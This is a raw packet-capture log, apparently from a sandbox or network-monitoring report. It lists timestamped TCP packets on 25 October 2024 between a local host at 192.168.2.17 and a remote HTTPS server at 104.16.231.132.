Oct 25, 2024 10:17:38.239870071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239909887 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239929914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239934921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.239963055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.239978075 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240034103 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240072966 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240094900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240098953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240125895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240147114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240221977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240262032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240287066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240291119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240319014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240336895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240392923 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240434885 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240461111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240464926 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240489960 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240509033 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240565062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240603924 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240623951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240628004 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240660906 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240674019 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240731001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240781069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240806103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240809917 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240837097 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240854979 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240911961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240955114 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.240972042 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.240977049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241009951 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241027117 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241086006 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241128922 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241154909 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241159916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241185904 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241205931 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241265059 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241305113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241328955 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241333961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241359949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241379976 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241436005 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241455078 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241485119 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241487980 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241517067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241517067 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241535902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241539001 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241549969 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241565943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241610050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241614103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241621971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241645098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241666079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241669893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241693974 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241698027 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241717100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241719007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241729975 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241748095 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241785049 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241791964 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241811037 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241841078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241844893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241878033 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241879940 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241899014 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241903067 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241915941 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241934061 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241967916 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.241970062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.241981030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242007971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242014885 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242036104 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242038965 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242050886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242065907 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242072105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242100000 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242104053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242125034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242136955 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242152929 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242155075 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242166996 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242185116 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242204905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242230892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242253065 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242281914 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242285967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242311954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242314100 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242317915 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242325068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242347956 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242372036 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242376089 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242398024 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242410898 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242423058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242428064 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242450953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242460012 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242486954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242487907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242499113 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242511034 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242527008 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242537022 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242563963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242568016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242577076 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242604971 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242605925 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242629051 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242633104 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242657900 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242669106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242686987 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242688894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242701054 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.242718935 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.242738962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243113041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243133068 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243165016 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243169069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243190050 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243220091 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243228912 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243247032 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243278027 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243282080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243307114 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243309975 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243338108 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243344069 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243360996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243362904 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243402958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243422031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243441105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243472099 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243475914 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243500948 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243503094 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243519068 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243522882 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243535995 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243558884 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243597031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243599892 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243609905 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243635893 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243659973 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243664026 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243675947 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243683100 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243700981 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243700981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243711948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243729115 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243767023 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243772984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243792057 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243820906 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243824959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243853092 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243855953 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243859053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243866920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243887901 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243908882 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243911982 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243938923 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243951082 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243954897 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.243962049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.243983030 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244009972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244014025 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244035959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244041920 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244060040 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244065046 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244077921 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244096041 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244132996 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244151115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244154930 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244162083 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244179964 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244206905 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244225979 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244245052 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244276047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244283915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244296074 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244308949 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244318962 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244322062 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244340897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244358063 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244363070 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244385958 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244390011 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244404078 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244407892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244425058 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244440079 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244471073 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244473934 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244482994 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244508982 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244527102 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244532108 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244554996 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244559050 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244580984 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244606972 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244610071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244641066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244643927 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244668007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244672060 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244687080 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244702101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244736910 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244743109 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244762897 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244791031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244793892 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244821072 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244823933 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244828939 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244834900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244853973 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244874954 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244879007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244905949 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244915962 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244935036 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244936943 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244945049 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.244967937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.244999886 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.245002031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.245009899 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.245031118 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.245053053 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.245057106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.245076895 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.245090961 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.245096922 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.245101929 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.245127916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.245142937 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.245172977 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.245177031 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.245234966 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.451376915 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.451500893 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:38.879364967 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:38.879455090 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:39.715351105 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:39.715456009 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.379362106 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.379585981 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.486016989 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.486082077 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.486190081 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.500216961 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.500238895 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500251055 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500463963 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.500471115 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500480890 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500575066 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.500579119 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500588894 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500598907 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500708103 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.500711918 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500725031 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500739098 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500741959 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500848055 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.500850916 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500952959 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.500958920 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.500981092 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501096964 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501096964 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501154900 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501209021 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501224041 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501233101 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501276016 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501404047 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501410007 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501440048 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501554966 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501580000 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501584053 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501611948 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501732111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501732111 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501738071 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501823902 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501828909 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501847982 CEST	443	58442	104.16.231.132	192.168.2.17
Oct 25, 2024 10:17:41.501939058 CEST	58442	443	192.168.2.17	104.16.231.132
Oct 25, 2024 10:17:41.501944065 CEST	443	58442	104.16.231.132	192.168.2.17
